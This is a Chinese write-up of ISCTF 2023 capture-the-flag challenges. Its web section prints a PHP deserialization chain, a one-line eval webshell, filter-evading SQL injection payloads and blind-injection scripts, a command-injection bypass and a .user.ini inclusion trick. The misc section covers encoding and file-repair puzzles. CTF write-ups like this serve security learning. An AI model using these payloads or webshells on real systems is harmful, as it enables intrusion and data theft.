ISCTF wp

web

圣杯战争

题目源码

 <?php
highlight_file(__FILE__);
error_reporting(0);class artifact{public $excalibuer;public $arrow;public function __toString(){echo "为Saber选择了对的武器!<br>";return $this->excalibuer->arrow;}
}class prepare{public $release;public function __get($key){$functioin = $this->release;echo "蓄力!咖喱棒!!<br>";return $functioin();}
}
class saber{public $weapon;public function __invoke(){echo "胜利!<br>";include($this->weapon);}
}
class summon{public $Saber;public $Rider;public function __wakeup(){echo "开始召唤从者!<br>";echo $this->Saber;}
}if(isset($_GET['payload'])){unserialize($_GET['payload']);
}
?> 

知识点:

  • __wakeup() 方法

当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法。

  • __invoke()方法

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

  • __get()方法

获取私有成员的属性值,它含有一个参数,即要获取的成员属性的名称,调用时返回获取的属性值,这个方法不需要手动调用,是在获取私有属性时自动调用的

  • __toString()方法

 它是在直接输出对象引用时自动调用的方法

当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据

代码审计

class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;  //目的是触发__get(),我们留意到这里调用了$excalibuer里的arrow属性,显然类prepare里没有arrow属性,丢到这里刚好能触发__get()

 
class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;//将 $this->release 属性赋值给了 $function
        echo "蓄力!咖喱棒!!<br>";
        return $functioin(); //在这里被当作函数调用,显而易见能把saber类丢给这里的$release
    }

class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);//想要包含需要触发__invoke()的话需要找能把saber类当作函数触发的地方
    }

class summon{
    public $Saber;
    public $Rider;
 
    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;//目的是触发刚刚第三层的tostring,这里有个echo

用php伪协议构造

payload

?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

解密即可得到flag

where_is_the_flag

题目

<?php  
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。  
highlight_file(__FILE__);  //标准一句话木马~  
eval($_POST[1]);  
?>

提示了一句话木马密码为1,直接蚁剑连靶场,密码连1,进去就能看见flag1,根目录有flag2,

在这里看见

那我们先进入虚拟终端,然后cd /去到根目录,然后在根目录输出FLAG3 变量的值

将三个flag拼接一下即可得到完整的flag

绕进你的心里

题目

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
require 'flag.php';  
$str = (String)$_POST['pan_gu'];  
$num = $_GET['zhurong'];  
$lida1 = $_GET['hongmeng'];  
$lida2 = $_GET['shennong'];  
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){  echo "md5绕过了!";  if(preg_match("/[0-9]/", $num)){  die('你干嘛?哎哟!');  }  elseif(intval($num)){  if(preg_match('/.+?ISCTF/is', $str)){  die("再想想!");  }  if(stripos($str, '2023ISCTF') === false){  die("就差一点点啦!");  }  echo $flag;  }  
}  
?>

通过数组绕过

?zhurong[]=1&hongmeng[]=2&shennong[]=3

网上找的通用回溯poc如下,需要对应不同题目改脚本:

import requests
from io import BytesIO
 
files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
 
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

那我们改一下脚本,执行就得到了flag

payload

import requests
url = " "
data={
'pan_gu':'very'*250000+'2023ISCTF'
}
connect=requests.post(url,data=data)
print(connect.text)

easy_website

打开题目

尝试用admin/admin登录

发现用户名的框有SQL注入漏洞,单引号闭合,替换了or,过滤了空格

1' oorrder%09by%091#

爆数据库名

username=-1'ANANDD%09updatexml(1,concat(0x7e,(sELECT%09database())),1)

爆表名

1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_schema=database()%09limit%090,1),0x7e))

爆字段名

1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'%09limit%090,2),0x7e))

发现不能全部显示出来

知识点:

substring方法

是js字符串类的一个方法,用于从一个字符串中提取出一个子字符串。它可以指定截取的起始和结束位置,不包括结束位置的字符

具体用法见博客:

substring()方法-CSDN博客

爆表名payload,需要改变后substring两个的参数来拼接

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'),1,50),0x7e))#&password=admin

经过尝试发现flag在password字段里

payload:

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09passwoorrd%09from%09users%09limit%092,1),1,80),0x7e))

得到flag

wafr

题目

<?php  
/*  
Read /flaggggggg.txt  
*/  
error_reporting(0);  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings    die("想读我文件?大胆。");  
}  
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){  die("无字母数字RCE?大胆!");  
}  
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){  die("奇技淫巧?大胆!!");  
}  
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){  die("大胆!!!");  
}  
else{    assert($_POST['code']);  
}

用post传参

payload:

code=system("strings /f*")
 

ez_ini

选择文件上传,上传一个.user.ini
注意user前面有个 点
可以写入
auto_prepend_file=/flag

然后上传能直接有flag

web_include

用dirsearch扫描一下看看是不是源码泄露

发现了flag.php,index.bak

访问index.bak下载打开,得到

function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

有一处是让一个小写字母转换为两个大写字母,我们需要逆向写一个脚本,这里就直接复制师傅的脚本

#include<stdio.h>
#include<string.h>
 
int main()
{
    char b[100]="dxdydxdudxdtdxeadxekdxea";
    for(int j=0;j<2;j++){
        int tmp1=0,tmp2=0,sum=0,f=0;
        //printf("%d\n",strlen(b));
        for(int i=0;i<strlen(b);i++){
            int tmp=(int)(b[i]-97);
            f++;
            if(i%2==0){
                tmp1=tmp*26;
                //printf("%d ",tmp1);
            }
            if(i%2!=0){
                tmp2=tmp;
                //printf("%d ",tmp2);
            }
            if(f==2){
                printf("%c",tmp1+tmp2);
                //printf("%d\n",sum);
                sum++;
                tmp1=0;
                tmp2=0;
                f=0;
            }
    }
    //printf("%d",sum);
    }
    return 0;
}

用伪协议构造payload即可

payload

?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

fuzz

题目

<?php  
/*  
Read /flaggggggg.txt  
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的  
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd  
*/  
error_reporting(0);  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  
$file = 'file:///etc/passwd';  
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){  die('你需要fuzz一下哦~');  
}  
if(!preg_match("/fi|le|flag/i", $_GET['file'])){    $file = $_GET['file'];  
}  
system('curl '.$file);

[a-z]可以绕过任意一个字母,"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令

payload:

?file=|tac /fl[a-z]ggggggg.txt

?file=f{i}l{e}:///fla{g}gggggg.txt

1z_Ssql

用脚本跑一下

import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):for j in range (1,100):l = 32r = 128mid = (l+r)>>1while (l < r):#爆库名payload ="1'^(ascii(substr(database(),{0},1))>{1})#".format(j,mid)#爆表名#payload = "1'^(ascii(substr((select table_name from information_schema.tables group by table_name having table_schema regexp database() limit {2},1),{0},1))>{1})#".format(j, mid,k)#爆字段#payload = "1'^(ascii(substr((select column_name from information_schema.columns where table_name='users' limit {2},1),{0},1))>{1})#".format(j, mid, k)#payload = "1'^(ascii(substr((select flag1 from  limit {2},1),{0},1)>{1}))#".format(j,mid,k)response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})if "You are so smart!" in response.text:l = mid + 1# print(payload)#print(response.text)i +=1else :r = midmid = (l + r)>>1if (chr(mid) == " "):result = result + '\n'breakresult = result + chr(mid)#print(result)print(i)
print(result)

 爆了bthcls的库

再看看当时给的附件

由于name1里面有users,name2里面有username和password。

猜想name1为表名,name2为字段名来爆破:

将脚本中的database()改成select group_concat(username) from bthcls.users就可以了。

import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):
    for j in range (1,100):
        l = 32
        r = 128
        mid = (l+r)>>1
        while (l < r):
            payload ="1'^(ascii(substr((select group_concat(username) from bthcls.users),{0},1))>{1})#".format(j,mid)
            response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})

            if "You are so smart!" in response.text:
                l = mid + 1
            # print(payload)
                #print(response.text)
                i +=1
            else :
                r = mid
            mid = (l + r)>>1
 
        if (chr(mid) == " "):
            result = result + '\n'
            break
        result = result + chr(mid)
 
        #print(result)
 
 
print(i)
print(result)

直接admin/we1come7o1sctf登录

获得flag

misc

你说爱我,尊嘟假嘟

打开文件

联想到ook编码

替换为

你说爱我  Ook.
尊嘟  Ook!
假嘟  Ook?

也可以利用脚本进行替换(这是网上找的师傅的脚本)

def convert_string(input_str):# 定义转换映射关系mapping = {"你说爱我": "Ook.","尊嘟": "Ook!","假嘟": "Ook?"}# 遍历字符串,进行转换for key, value in mapping.items():input_str = input_str.replace(key, value)return input_str# 测试示例
a = "你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟假嘟你说爱我假嘟尊嘟你说爱我假嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟假嘟尊嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我假嘟你说爱我假嘟尊嘟你说爱我假嘟你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我你说爱我尊嘟你说爱我假嘟你说爱我"
converted_str = convert_string(a)
print(converted_str)

然后解密即可得到flag

小蓝鲨的秘密

打开题目

用010打开,怀疑是伪加密

将两处

14 00 09 00

替换成

 14 00 00 00

即可打开

打开flag.txt

图片调整高和宽度

出现key值

key:15CTF2023

AES解密一下即可得到flag

杰伦可是流量明星

用binwalk分离一下得到

打开流量包

直接筛选http协议,搜寻flag得到

url解码一下得到flag

flag{wddhr836459_83}

easy_zip

打开附件,直接用ziperello爆破一下密码看看

得到六位数字的密码

直接打开就得到flag

蓝鲨的福利

用010打开

是png文件缺少文件头

插入字节补上89 50 4E 47文件头

旋转图片就得到了flag

小白小黑

打开文件

看师傅的做法是缩放到最小就隐约看到有二维码

我的缩放(好像不是那么明显。。。)

借用大佬的吧

然后复制颜色较深处数据 发现都是45678 那么将其替换为1 其余替换为0

然后转码扫码

01239转1

45678转0

有脚本,就试试脚本

from PIL import Imagestrings = open('output_without_newlines.txt','r').read()
print(strings)
pic = Image.new("RGB",(256,256))
num = 0
for x in range(256):for y in range(256):if strings[num] == '1':pic.putpixel((x,y),(0,0,0))else:pic.putpixel((x,y),(255,255,255))num = num + 1pic.show()save_path = "./output.png"  # 图片保存路径,可以根据需要修改文件名和格式
pic.save(save_path)
print("图片已保存到当前路径: ", save_path)

得到二维码,扫码即可得到flag

(我自己得到的二维码是个歪的。。)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/248648.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue预览pdf文件的几种方法

文章目录 vue预览pdf集中方法方法一&#xff1a;方法二&#xff1a;展示效果&#xff1a;需要包依赖&#xff1a;代码&#xff1a; 方法三&#xff1a;展示效果&#xff1a;需要包依赖&#xff1a;代码&#xff1a;自己调参数&#xff0c;选择符合自己的 vue预览pdf集中方法 我…

